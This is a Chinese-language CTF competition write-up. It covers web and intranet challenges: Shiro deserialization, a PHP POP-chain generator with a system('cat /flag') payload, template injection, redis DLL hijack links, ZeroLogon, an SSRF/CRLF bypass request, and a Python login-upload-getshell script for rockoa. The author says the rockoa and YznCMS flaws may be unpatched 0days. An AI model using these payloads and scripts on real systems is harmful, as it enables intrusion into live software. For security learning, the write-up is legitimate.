大概也许是最后一场线下赛了,最后还行一等奖,不知道以后回来要不要隔离,不要的话或许还可以混23333:)

线上赛

难得不会搞,只能做做签到维持生活这样子

Hard_Penetration

Cookie有个Remember-me,考虑shiro反序列化,直接用网上的exp就能getshell,然而flag权限是www,和shiro的不一样,扫一扫发现在8005有baocms,审审发现一个模板注入,在tmp目录写个模板后

1
GET /Wap/common/show?templateFile=…/…/…/…/…/…/…/…/…/…/tmp/flagx

即可。
这破题主要一开始没找到正常的源码,然后还用了挺多时间搭环境,最后还是调不通直接盲打竟然跑通了……

pop_master

由于玩不来AST,直接用正则搞DFS,正解可以参考出题人记录官方exp
需要注意的是有干扰链,不过特征比较明显直接用这两个判断就能排除了

1
2
3
4
if '$' + vname + '=\'' in j:
continue
if '$' + vname + '= $' in j:
continue

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import re

s = ''
with open('class.php', 'r') as f:
s = f.read()
c = s.split('\n\n\n')

re1 = re.compile(r'public function.*?\{.*?\n\n \}', re.S)
re2 = re.compile(r'\$this->[a-zA-Z0-9]+->([a-zA-Z0-9]+)')
G = {}
P = {}

for i in c:
cname = re.match('class ([a-zA-Z0-9]+)', i).group(1)
val = re.search('public \$([a-zA-Z0-9]+);', i).group(1)
P[cname] = val
G[cname] = {}
f = re1.findall(i)
for j in f:
rs = re.match(
'public function ([a-zA-Z0-9]+)\(\$([a-zA-Z0-9]+)\)', j)
fname = rs.group(1)
vname = rs.group(2)
if '$' + vname + '=\'' in j:
continue
if '$' + vname + '= $' in j:
continue
call = re2.findall(j)
G[cname][fname] = call


def findf(f):
for i in G:
for j in G[i]:
if j == f:
return i


stack = [('t7zQXe', 'QDq48W'), ('ag1qCw', 'ZFfKLI'), ('gcSf6w', 'aSsgzn'), ('kOeID7', 'SrKBCm'), ('NCggpU', 'LBFYWW'), ('MBIcQo', 'leB28v'), ('GczImA', 'VVwLts'), ('H5OF06', 'luSLb6'), ('lDKiAX', 'DYLoTt'), ('ifXZrM', 'YTNWAx'), ('KSxGc1', 'YRnWMe'),
('avT1LF', 'S0zN2a'), ('GmMWMr', 'YeSyDH'), ('C00Wq7', 'zHA0Bc'), ('sdR4h8', 'laG8CW'), ('IKVFlg', 'ohqWyc'), ('Ez8xFq', 'rffTvm'), ('WWqiPD', 'GLG9Ba'), ('EFmyaH', 'W7Gfgk'), ('e4aKod', 'MKgR3S'), ('KcRcLI', 'GuNQdW'), ('aLRFrl', 'sVqsXx')]
for i in range(len(stack)):
print('$tmp->' + P[stack[i][0]] + '=new ' + stack[i + 1]
[0] + '();\n$tmp=$tmp->' + P[stack[i][0]] + ';')

# stack = []
# maxlen = 100000


# def dfs(f):
# global maxlen, stack
# c = findf(f)
# if c == None:
# return
# if len(G[c][f]) == 0: # eval
# stack.append((c, f))
# if len(stack) < maxlen:
# maxlen = len(stack)
# print(maxlen)
# print(stack)
# stack.pop()
# return
# for i in G[c][f]:
# stack.append((c, f))
# dfs(i)
# stack.pop()


# dfs('QDq48W')
1
2
3
[('t7zQXe', 'QDq48W'), ('ag1qCw', 'ZFfKLI'), ('gcSf6w', 'aSsgzn'), ('kOeID7', 'SrKBCm'), ('NCggpU', 'LBFYWW'), ('MBIcQo', 'leB28v'), ('GczImA', 'VVwLts'), ('H5OF06', 'luSLb6'), ('lDKiAX', 'DYLoTt'), ('ifXZrM', 'YTNWAx'), ('KSxGc1', 'YRnWMe'), ('avT1LF', 'S0zN2a'), ('GmMWMr', 'YeSyDH'), ('C00Wq7', 'zHA0Bc'), ('sdR4h8', 'laG8CW'), ('IKVFlg', 'ohqWyc'), ('Ez8xFq', 'rffTvm'), ('WWqiPD', 'GLG9Ba'), ('EFmyaH', 'W7Gfgk'), ('e4aKod', 'MKgR3S'), ('KcRcLI', 'GuNQdW'), ('aLRFrl', 'sVqsXx')]

/?pop=O:6:%22t7zQXe%22:1:{s:7:%22SETuFmG%22;O:6:%22ag1qCw%22:1:{s:7:%22N3c3MRb%22;O:6:%22gcSf6w%22:1:{s:7:%22GgSYfMh%22;O:6:%22kOeID7%22:1:{s:7:%22Xn4ebSH%22;O:6:%22NCggpU%22:1:{s:7:%22gWlT3Rb%22;O:6:%22MBIcQo%22:1:{s:7:%22ExqmWr7%22;O:6:%22GczImA%22:1:{s:7:%22hZ5ChqQ%22;O:6:%22H5OF06%22:1:{s:7:%22z63x963%22;O:6:%22lDKiAX%22:1:{s:7:%22c8BNGbG%22;O:6:%22ifXZrM%22:1:{s:7:%22kxtqGnQ%22;O:6:%22KSxGc1%22:1:{s:7:%22xwZHIgX%22;O:6:%22avT1LF%22:1:{s:7:%22UdcTU2u%22;O:6:%22GmMWMr%22:1:{s:7:%22nXPfUHY%22;O:6:%22C00Wq7%22:1:{s:7:%22KFvFR3w%22;O:6:%22sdR4h8%22:1:{s:7:%22YclPtzg%22;O:6:%22IKVFlg%22:1:{s:7:%22MUWeh9a%22;O:6:%22Ez8xFq%22:1:{s:7:%22PWeSN3v%22;O:6:%22WWqiPD%22:1:{s:7:%22wSgydFI%22;O:6:%22EFmyaH%22:1:{s:7:%22ZvfzZKp%22;O:6:%22e4aKod%22:1:{s:7:%22mwg5Umw%22;O:6:%22KcRcLI%22:1:{s:7:%22x9VYbqm%22;O:6:%22aLRFrl%22:1:{s:7:%22X0Gq3wN%22;N;}}}}}}}}}}}}}}}}}}}}}}&argv=system(%27cat%20/flag%27);//

[强网先锋]赌徒

签到题,www.zip拿源码,反序列化。没接触过的童鞋可以参考[详解](https://www.cnblogs.com/Dark1nt/p/14896991.html)。

1
2
3
4
5
6
7
$hi = new Start();
$hi->name = new Info();
$hi->name->file['filename'] = new Room();
$hi->name->file['filename']->a = new Room();
$s = serialize($hi);
echo $s;
unserialize($s);

[强网先锋]寻宝

上来几个php的trick,fuzz一下就行

1
ppp[number1]=1e6f&ppp[number2]=1e6&ppp[number3]=61823470&ppp[number4]=00000.00&ppp[number5]={NULL}

然后解压所有docx,grep查KEY2

1
2
3
4
5
6
7
8
9
10
11
import glob,os

fl = glob.glob('*/*/*.docx')
for fn in fl:
os.makedirs(f'extract/{fn}')
os.system(f'unzip -qq {fn} -d extract/{fn}')
print(fn, end='\r')
# break

# grep . KEY2 -r
# ./5.15/VR_4/P7hoSsIdttUqaIIxG2TVwWKTyi9.docx/word/document.xml

线下赛

差半题AK下班,稍微有点可惜……

mDMZ

翻了翻history找到了一个干扰docker…最后还是扫出来10.10.10.31有个YznCMS,通过 admin/admin 登录,这个脑瘫cms第一次登录必定报错,我还以为密码改了,真的是搞心态……
本地安装这个一键getshell被禁了,需要挖洞(好烦),找了找发现 application/collection/controller/Node.php 中的 parseFunction 用了 call_user_func_array,好嘛还是一键getshell……
最新版看了下代码没改似乎还能用?应该是0day。

m业务办公网

恶心的地方来了,由于连接mDMZ需要通过跳板机,所以到这里需要再跳一次,当时还不知道Stowaway这个神器折腾了好久……小学弟还上了NPS,但是由于socks代理的问题nmap会全部认为端口open……搞了半天总算扫出来10.20.3.97开了个redis,nmap爆密码123qwe,发现是windows,没搞过啊…参考下面两篇文章弄了很久:
https://jkme.github.io/redis-on-windows-dll-hijack.html
https://xz.aliyun.com/t/8153#toc-5

然后结束了问别人发现可以抄作业草:https://github.com/0671/RedisModules-ExecuteCommand-for-Windows

m核心内网

装不了nmap了,只能本地加-sV参数强扫,发现192.168.122.233有个域控,大佬用ZeroLogon打出一半flag,然后还是一台windows,arp发现新主机192.168.122.228,貌似是一个mysql,然后陷入代理难题中无法自拔……
要是早点搜到Stowaway这玩意儿多好,我都想自己写一个了,然后发现竟然有现成的和我的想法完全一致……

rua

host文件手测内网找到另外一台机器,但是需要POST SSRF,file_get_contents好像也没有什么已知的方法……搞了半天发现 /etc/nginx/conf.d/default.conf 文件另有玄机,openresty没玩过,自带支持lua不过它给的docker环境挺难配的搞不来,只好人肉编译器,大概是这么个玩意儿

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
local args = ngx.req.get_uri_args()
local headers = ngx.req.get_headers()
local post_data = ngx.req.get_body_data()
local url = args.url
local domain = ngx.re.match(url, [[//([\S]+?)/]])
domain = (domain and 1 == #domain and domain[1]) or nil

if domain == "sisselcbp.github.io" then
local res = httpd:http_request_with_dns(url,{})
ngx.print(res.body)
elseif domain == "r3kapig.com" then
local res = httpd:http_request_with_dns(url,{
method = "POST",
body = post_data,
headers = {
["Content-Type"] = headers["Content-Type"]
}
})
ngx.print(res.body)
else
ngx.print("Error! Try it local to read the log!")
end

需要绕过正则才能出发post,似乎没有多行属性因此可以用%0a绕过url,这样可以弄出一个类似CRLF注入的东西,exp

1
2
3
4
5
6
7
POST /api?url=http://172.18.0.2:80+/+HTTP/1.1%0a//r3kapig.com/ HTTP/1.1
Host: 172.20.5.42:41071
Connection: close
Content-Length: 24
Content-Type: application/x-www-form-urlencoded

good_you_got_it_XD=/flag

注意80端口和 Content-Type 是必须的,后者可能是POST的原因,前者就不明白了……

OA

又是一个垃圾cms,rockoa,sql文件爆出用户密码 test/abc123,登上去之后可以上传文件,但是不合法的文件名会被重命名一个临时后缀,审了审代码发现有个 qcloudCos 的功能,可以把文件名还原为本来的样子……
一键getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
import json

url = 'http://localhost:8080'
s = requests.session()
t = s.post(url + '/index.php?a=check&m=login&d=&ajaxbool=true&rnd=616382', data={
'rempass': 0,
'jmpass': "false",
'device': 1625911917104,
'ltype': 0,
'adminuser': 'dGVzdA::',
'adminpass': 'YWJjMTIz',
})
print(t.text)
t = s.post(url + '/index.php?a=upfile&m=upload&d=public&maxsize=2&ajaxbool=true&rnd=760710',
files={'file': open('c.php', 'rb')})
print(t.text)
r = json.loads(t.text)
s.get(url + '/task.php?m=qcloudCos|runt&a=run&fileid={}'.format(r['id']))
print(url + '/' + r['filepath'].replace("uptemp", "php"))

最新版貌似还能用,应该又是个0day:)